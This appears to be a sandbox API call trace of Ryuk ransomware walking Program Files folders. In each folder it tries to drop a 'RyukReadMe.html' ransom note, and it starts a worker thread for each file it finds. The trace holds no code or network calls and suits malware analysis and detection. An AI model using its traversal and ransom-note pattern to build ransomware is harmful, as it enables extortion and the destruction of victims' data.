	[0190.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0190.235] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0190.235] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0190.235] SetLastError (dwErrCode=0x0) 
	[0190.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.235] GetLastError () returned 0x5
	[0190.235] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0190.236] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0190.420] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0190.420] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0190.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0190.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94
	[0190.423] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0190.423] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1
	[0190.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0190.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98
	[0190.426] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0190.427] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0
	[0190.427] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0190.427] SetLastError (dwErrCode=0x0) 
	[0190.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.427] GetLastError () returned 0x5
	[0190.427] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0190.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.428] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0190.428] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0190.428] SetLastError (dwErrCode=0x0) 
	[0190.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.428] GetLastError () returned 0x5
	[0190.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0190.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.460] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0
	[0190.460] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0190.460] SetLastError (dwErrCode=0x0) 
	[0190.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.461] GetLastError () returned 0x5
	[0190.461] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0190.461] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.461] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0
	[0190.461] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0190.462] SetLastError (dwErrCode=0x0) 
	[0190.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.462] GetLastError () returned 0x5
	[0190.462] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0190.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.462] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0190.462] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0190.463] SetLastError (dwErrCode=0x0) 
	[0190.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.463] GetLastError () returned 0x5
	[0190.463] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0190.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.463] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3a185b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3a185b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0190.463] SetLastError (dwErrCode=0x0) 
	[0190.464] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.464] GetLastError () returned 0x5
	[0190.464] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0190.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3a185b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3a185b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0190.464] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3a185b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3a185b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0190.465] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0190.465] SetLastError (dwErrCode=0x0) 
	[0190.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.465] GetLastError () returned 0x5
	[0190.465] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0190.465] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0190.668] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0190.669] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0190.669] SetLastError (dwErrCode=0x0) 
	[0190.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.669] GetLastError () returned 0x5
	[0190.669] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0190.669] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0190.859] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0191.018] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0191.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c
	[0191.021] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.022] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1
	[0191.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90
	[0191.026] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.027] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1
	[0191.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c
	[0191.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.031] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1
	[0191.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0
	[0191.034] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.035] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1
	[0191.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4
	[0191.039] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.040] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1
	[0191.040] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8
	[0191.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.044] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1
	[0191.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
